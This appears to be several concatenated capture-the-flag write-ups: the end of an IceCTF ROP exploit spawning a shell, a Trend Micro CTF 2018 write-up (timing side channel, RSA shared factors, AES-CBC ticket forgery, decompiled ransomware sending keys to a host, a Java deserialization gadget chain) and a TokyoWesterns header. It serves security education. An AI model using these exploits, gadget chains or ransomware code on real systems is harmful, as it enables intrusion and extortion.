I used ROPgadget to dump gadgets from the libc.
```ROPgadget --binary libc.so.6 --all --ropchain > gadgets.txt```
The `--ropchain` flag automatically generates a ropchain, but it isn't useful by itself for this case, because it calls `/bin/sh` and not `/bin/dash`. Still, the ropchain can be modified to call `dash` instead. Additionally, I made sure that all the gadgets had higher addresses than the leaked libc address, because I didn't want to spend time debugging bad Chip-8 subtraction code.
### The ropchain
#### Invoke `execve("/bin/dash", "", "")`
```0x000f5295: pop rdx ; ret0x00399080: @ .data0x00035578: pop rax ; ret'/bin/das'0x0002c42c: mov qword ptr [rdx], rax ; ret0x00058552: pop rdx ; ret0x00399088: @ .data + 80x00035578: pop rax ; ret'h\x00\x00\x00\x00\x00\x00\x00'0x0002c42c: mov qword ptr [rdx], rax ; ret0x00101461: pop rdi ; ret0x00399080: @ .data0x0011b879: pop rsi ; ret0x00399089: @ .data + 90x000f5295: pop rdx ; ret0x00399089: @ .data + 90x00035578: pop rax ; retp64(59)0x000a87e5: syscall ; ret```
## More failure
I created more Python assembly macros to aid in making the ropchain-writing code.
```# Use a stack leak to compute the absolute address of a gadget at `off` and# place it on the ropchain. `ropchain_len` is the current length of the# ropchain in qwords.def rel_gad(ropchain_len, off): assert off > leak_off p = '' p += read64(leak_loc_off) p += add64i(off - leak_off) p += write64(ret_addr_off + ropchain_len * 8) return p
# Add `data` to the ropchain verbatimdef abs_gad(ropchain_len, data): p = '' p += ld64(data) p += write64(ret_addr_off + ropchain_len * 8) return p
p = ''# leak_off: 0x00020431p += rel_gad( 0, 0x000f5295)p += rel_gad( 1, 0x00399080)p += rel_gad( 2, 0x00035578)p += abs_gad( 3, u64('/bin/das'))p += rel_gad( 4, 0x0002c42c)p += rel_gad( 5, 0x00058552)p += rel_gad( 6, 0x00399088)p += rel_gad( 7, 0x00035578)p += abs_gad( 8, u64('h\x00\x00\x00\x00\x00\x00\x00'))p += rel_gad( 9, 0x0002c42c)p += rel_gad(10, 0x00101461)p += rel_gad(11, 0x00399080)p += rel_gad(12, 0x0011b879)p += rel_gad(13, 0x00399089)p += rel_gad(14, 0x000f5295)p += rel_gad(15, 0x00399089)p += rel_gad(16, 0x00035578)p += abs_gad(17, 59)p += rel_gad(18, 0x000a87e5)p += '\x00\xfd' # EXIT```
It segfaulted.
## More debugging
After several tests, tweaking, and debugging, I figured out that the ropchain was being corrupted after 5 qwords, but only the sections of the ropchain that required leaking ASLR.
Eventually, I realized that the ropchain was clobbering the leak location, since the address I was using to leak was after the return address.
Bamboozled by statefulness yet again, I guess this is why some people prefer functional programming.
## The final fix
I patched my exploit by adding a section of code at the beginning that copied the address at the leak location to a higher area on the stack so it could not be clobbered.
```# Moves the leak used to bypass ASLR to a lower address to prevent clobbering# by the ropchaindef setup_leak(): p = '' p += read64(far_leak_loc_off) p += write64(near_leak_loc_off) return p```
```[adversary ~]$ ./twitter PAYLOAD.ROM$ whoamitarget$ cd ../target$ lsflag.txt$ cat flag.txtIceCTF{R0P_1977_styl3}$```
## Final thoughts
It remains unclear why this challenge is called "twitter." After thinking about it for a bit, I realized that "chip" sounds like "chirp." Both "chirp" and "twitter" are bird sounds. I tried to confirm this with one of the IceCTF organizers, but they claimed to have no idea about the reason for the challenge name. Apparently this challenge was not made by one of the organizers.
This challenge would (I think) still be solvable even if stack smash protection were enabled, since the stack writes don't necessarily have to overwrite the canary. Even if they did, the canary could always be leaked through stack reads.
This was hard. |
# Trend Micro CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180914-trendmicroctf/) of this writeup.**
- [Trend Micro CTF 2018](#trend-micro-ctf-2018) - [Analysis-Offensive](#analysis-offensive) - [200](#200) - [300](#300) - [400 ACME Protocol](#400-acme-protocol) - [Reversing-Binary](#reversing-binary) - [100 (sces60107)](#100-sces60107) - [300](#300-1) - [400](#400) - [part 2](#part-2) - [Forensics-Crypto1](#forensics-crypto1) - [400](#400-1) - [Forensics-Crypto2](#forensics-crypto2) - [100 (sces60107)](#100-sces60107-1) - [200 (sces60107)](#200-sces60107) - [300](#300-2) - [Reversing-Other](#reversing-other) - [100, 200 (sces60107)](#100-200-sces60107) - [400 (sces60107)](#400-sces60107) - [Misc](#misc) - [100](#100) - [200](#200-1) - [300](#300-3)
## Analysis-Offensive
### 200
We are given a program `oracle` which reads our input. If our input matches the flag, it outputs `True`, otherwise, `False`.
According to the hints from the description, (1) The program exits as fast as possible. (2) This is not a reverse challenge.
So, let's take a look at the system calls it uses:```shell$ strace ./oracle TMCTF{execve("./oracle", ["./oracle", "TMCTF{"], [/* 23 vars */]) = 0brk(NULL) = 0x146d000brk(0x146e1c0) = 0x146e1c0arch_prctl(ARCH_SET_FS, 0x146d880) = 0uname({sysname="Linux", nodename="ubuntu-xenial", ...}) = 0readlink("/proc/self/exe", "/home/vagrant/trend/analysis-200"..., 4096) = 39brk(0x148f1c0) = 0x148f1c0brk(0x1490000) = 0x1490000access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0nanosleep({0, 15000000}, NULL) = 0fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0write(1, "False\n", 6False) = 6exit_group(0) = ?+++ exited with 0 +++```Nice, it sleeps six times when the first six characters are correct. Here is our script:
```pythonimport subprocessimport string
flag = 'TMCTF{'while True: for c in string.ascii_letters + string.digits + '{}_': batcmd = '/usr/bin/strace ./oracle "{}" 2>&1'.format(flag + c) result = subprocess.check_output(batcmd, shell=True) if result.count('nano') == len(flag) + 1: flag += c break print(flag)```FLAG: `TMCTF{WatchTh3T1m3}`
### 300We are given three people's public keys and the messages for them respectively. For example,```message for Alice:18700320110367574655449823553009212724937318442101140581378358928204994827498139841897479168675123789374462637095265564472109735802305521045676412446455683615469865332270051569768255072111079626023422
Alice's public key (e,N):( 65537 , 23795719145225386804055015945976331504878851440464956768596487167710701468817080174616923533397144140667518414516928416724767417895751634838329442802874972281385084714429143592029962130216053890866347 )```It turns out that any two of the module `N`s has a common factor, thus they all can be factorized.```pythonfrom gmpy2 import *
...
g_ab = gcd(a_N, b_N)g_bc = gcd(b_N, c_N)
def decrypt(msg, p, q, N): phi_n = (p-1)*(q-1) d = invert(65537, phi_n) msg = pow(msg, d, N) print(int2text(msg))
decrypt(a_msg, g_ab, a_N/g_ab, a_N)decrypt(b_msg, g_ab, b_N/g_ab, b_N)decrypt(c_msg, g_bc, c_N/g_bc, c_N)```Hmm... is it worth 300 points?FLAG: `TMCTF{B3Car3fu11Ab0utTh3K3ys}`
### 400 ACME Protocol
We are given a protocol and some reference implementation in Python. The author of this challenge is so kind. Even a protocol spec is given! so let's take a closer look at the protocol to find the vulnerability.
First, our objective is obvious: run `getflag` as `admin`
```4.6 COMMAND (Message Type 0x06)
Message Format: Client -> Server: 0x06 | Ticket | Command
Explanation: Client requests execution of the command specified by the string Command. Ticket must be a valid, current ticket received via a LOGON_SUCCESS message.
Processing: The server executes the following algorithm upon receipt:
Set D = Decrypt(Base64Decode(Ticket), KS)Scan D sequentially as follows:Set IdentityFromTicket = JSON string (UTF-8, null-terminated)Set Timestamp = 8 bytesIf Timestamp is too old (> 1 hour): Respond with message AUTHX_FAILURE EndSet U to the string IdentityFromTicket.userIterate over IdentityFromTicket.groups, collecting the results into an array of strings, GSet Identity = object expressing U and GIf Command = โwhoamiโ: Set Result = JSON string: { user: Identity.U, groups: [ G1, G2, ... ] } where G1, G2, ... are the elements of Identity.GElse If Command = โgetflagโ: If G contains the string โadminโ: Set Result = CTF flag Else: Respond with message AUTHX_FAILURE EndElse: Respond with message AUTHX_FAILURE EndRespond with message COMMAND_RESULT(Result)```
Okay, the next problem is how to generate a valid `IdentityFromTicket`, which is a JSON string encrypted by KS (server key)? What we want to do is to send `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. Note that in this challenge we don't even have a valid guest account to login.
Of course we don't have the server key, but can we abuse other command to manipulate the payload? Let's take a look at LOGON_REQUEST:
```4.1 LOGON_REQUEST (Message Type 0x01)
Message format: Client -> Server: 0x01 | U
Explanation: The client sends this message to the server to initiate authentication with username U.
Processing: The server executes the following algorithm upon receipt:
Set Nonce = 8-byte random nonceSet Timestamp = current timestampSet ChallengeCookie = Base64Encode(Encrypt(Nonce | U | Timestamp, KS))Respond with message LOGON_CHALLENGE(Nonce, ChallengeCookie)```
Basically the server will encrypt user-provided U (username), and we'll get the ciphertext of `Encrypt(Nonce | U | Timestamp)`.
It's apparent that `Encrypt(Nonce | U | Timestamp)` is similar to what we need, `Encrypt({"user":"admin","groups":["admin"]} | timestamp)`. However, how to get rid of the nonce?
Since the encryption uses AES-128-CBC, it's feasible to truncate the nonce!
The idea is simple: we'll let the server encrypt the following payload:
```block 0: 8-byte nonce + 8-byte garbageblock 1,2,3: 16 * 3 bytes JSON stringblock 4: 8-byte timestamp + 8-byte PKCS#7 padding```
and we'll truncate the first block.
Here is the attack script:
```python#!/usr/bin/env python3import socketimport timeimport numpy as npimport jsonimport base64
def send(s): sock.send(s) print(f'[<-send] {s}')
def recv(): s = sock.recv(2**14) print(f'[recv->] {repr(s)}') return s
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)sock.connect(("localhost", 9999))
payload = '{"user":"admin","groups":["admin", "aaaaaaaaa"]}'assert len(payload) == 16 * 3send(b'\x01garbage!' + payload.encode() + b'\x00')# 0x02 | 8 byte Nonce | ChallengeCookie (null byte terminated)enc = base64.b64decode(recv()[1+8:-1])# enc: 6 blocks: iv | (8 byte Nonce | 8 byte garbage!) | 48 bytes payload | Timestampassert len(enc) == 16 * 6
#0x06 | Ticket | Commandsend(b'\x06' + base64.b64encode(enc[16:]) + b'\x00' + b'getflag\x00')print(recv())# TMCTF{90F41EF71ED5}sock.close()```
I guess some teams retrieve the flag using reverse skills, though the author claimed it's heavily obfuscated.
In real world, there are lots of protocols and it's really important to ensure every step is secure. IMO this challenge is well-designed and very interesting! I really enjoyed it. Thanks to the author for such a practical challenge.
## Reversing-Binary
### 100 (sces60107)
1. Use PyInstaller Extractor v1.9 and uncompyle22. Now we have this source code```python=import struct, os, time, threading, urllib, requests, ctypes, base64from Cryptodome.Random import randomfrom Cryptodome.Cipher import AES, ARC4from Cryptodome.Hash import SHAinfile = 'EncryptMe1234.txt'encfile = 'EncryptMe1234.txt.CRYPTED'keyfile = 'keyfile'sz = 1024bs = 16passw = 'secretpassword'URL = 'http://192.168.107.14'rkey = 'secretkey'key = os.urandom(bs)iv = os.urandom(bs)
def callbk(): global rkey global passw global iv global key id = 0 n = 0 while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex') Headers = {'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36'} params = urllib.urlencode({'id': id, 'key': key, 'iv': iv}) rnum = os.urandom(bs) khash = SHA.new(rnum).digest() cipher1 = ARC4.new(khash) khash = khash.encode('hex') msg = cipher1.encrypt(params) msg = base64.b64encode(khash + msg.encode('hex')) response = requests.post(url=URL, data=msg, headers=Headers) del key del iv ctypes.windll.user32.MessageBoxA(0, 'Your file "EncryptMe1234.txt" has been encrypted. Obtain your "keyfile" to decrypt your file.', 'File(s) Encrypted!!!', 1)
def encrypt(): global encfile global infile aes = AES.new(key, AES.MODE_CBC, iv) if os.path.exists(infile): fin = open(infile, 'r') fout = open(encfile, 'w') fsz = os.path.getsize(infile) fout.write(struct.pack('<H', fsz)) while True: data = fin.read(sz) n = len(data) if n == 0: break elif n % bs != 0: data += '0' * (bs - n % bs) crypt = aes.encrypt(data) fout.write(crypt)
fin.close() fout.close() os.remove(infile) callbk() else: return
def decrypt(): global keyfile key = '' iv = '' if not os.path.exists(encfile): exit(0) while True: time.sleep(10) if os.path.exists(keyfile): keyin = open(keyfile, 'rb') key = keyin.read(bs) iv = keyin.read(bs) if len(key) != 0 and len(iv) != 0: aes = AES.new(key, AES.MODE_CBC, iv) fin = open(encfile, 'r') fsz = struct.unpack('<H', fin.read(struct.calcsize('<H')))[0] fout = open(infile, 'w') fin.seek(2, 0) while True: data = fin.read(sz) n = len(data) if n == 0: break decrypted = aes.decrypt(data) n = len(decrypted) if fsz > n: fout.write(decrypted) else: fout.write(decrypted[:fsz]) fsz -= n
fin.close() os.remove(encfile) break
def main(): encrypt() t2 = threading.Thread(target=decrypt, args=()) t2.start() t2.join()
if __name__ == '__main__': main()```3. Extract information from filecrypt.pcap and decrypt the message then get this string `id=d1&key=2f87011fadc6c2f7376117867621b606&iv=95bc0ed56ab0e730b64cce91c9fe9390`4. But these are not the original key and the original iv. Take a look of this part of code, then you can recover the original key and the original iv```python while id == 0 or n == 0 and n < 256: id = os.urandom(1) n = hex(ord(id) + bs)
id = id.encode('hex') for c in passw: passw = ''.join(chr(ord(c) ^ int(n, 16)))
key = ''.join((chr(ord(x) ^ int(n, 16)) for x in key)) for c in rkey: rkey = ''.join(chr(ord(c) ^ int(n, 16)))
iv = ''.join((chr(ord(y) ^ int(n, 16)) for y in iv)) key = key.encode('hex') iv = iv.encode('hex')```5. The original key = `"ce66e0fe4c272316d680f66797c057e7".decode("hex")`6. The original iv = `"745def348b5106d157ad2f70281f7271".decode("hex")`7. Now you know how to retrieve the flag `TMCTF{MJB1200}`
### 300 The PE file has been `MEW` packed, we can using ollydbg to unpack it. And it also has anti debugger detection, but we can easily using static analysis to find the flag.
### 400#### part 2Using state compression to boost the speed of searching.```C++#pragma GCC optimize ("O3")#include<bits/stdc++.h>#pragma GCC optimize ("O3")#define f first#define s secondusing namespace std;typedef pair<int,int> par;unsigned char op[62];int cnt=0;inline unsigned char tohex(int x){ if(x>9)return x-10+'a'; return x+'0';}char s[100];unsigned int chash(){ unsigned long long int a = 0; for(int i=0;i<62;i++){ a = ( tohex((op[i]>>4&0xF)) + (a >> 13 | a << 19)) & 0xffffffffll; a = ( tohex(op[i]&0xF) + (a >> 13 | a << 19)) & 0xffffffffll; } return a;}void F(int p,int mask,bool boat){ if(p==62&&mask==0xFF){ cnt++; unsigned int hsh=chash(); if( hsh==0xE67FE7B8|| hsh==0xE27FEBB8|| hsh==0xE66FE7C8|| hsh==0xE26FEBC8|| hsh==0xF276F3DC|| hsh==0xE27703DC|| hsh==0xF272F3E0|| hsh==0xE27303E0 ){ fprintf(stderr,"%d %08x ",cnt,hsh); for(int i=0;i<62;i++) fprintf(stderr,"%02x",op[i]); fprintf(stderr,"\n"); } //puts("~~~"); return; } if(p+4<=62){ op[p]=0xd1; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xFF,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } else{ op[p+1]=0x0; for(int x=mask,y=x&-;;y;x^=y,y=x&-x){ op[p+3]=y; for(int x2=(x^y)&0xE0,y2=x2&-x2;y2;x2^=y2,y2=x2&-x2){ op[p+2]=y2; if(y2==0x40&&y==0x10) continue; int nmk=mask^y^y2; if((y==0x20||y2==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40||y2==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80||y2==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+4,nmk,boat^1); } } } } if(p+3<=62){ op[p]=0xd0; if(boat==0){ op[p+1]=0x1; for(int x=~mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((~nmk&0x42)==0x42||(~nmk&0x41)==0x41)) continue; if((y==0x40)&&((~nmk&0x28)==0x28||(~nmk&0x24)==0x24)) continue; if((y==0x80)&&((~nmk&0x10)==0x10&&(~nmk&0xFF)!=0x10)) continue; F(p+3,nmk,boat^1); } } else{ op[p+1]=0x0; for(int x=mask&0xE0,y=x&-;;y;x^=y,y=x&-x){ op[p+2]=y; int nmk=mask^y; if((y==0x20)&&((nmk&0x42)==0x42||(nmk&0x41)==0x41)) continue; if((y==0x40)&&((nmk&0x28)==0x28||(nmk&0x24)==0x24)) continue; if((y==0x80)&&((nmk&0x10)==0x10&&(nmk&0xFF)!=0x10)) continue; F(p+3,mask^y,boat^1); } } } return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```

With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
# TokyoWesterns 2018 : pysandbox
**category** : misc
**points** : 121, 126
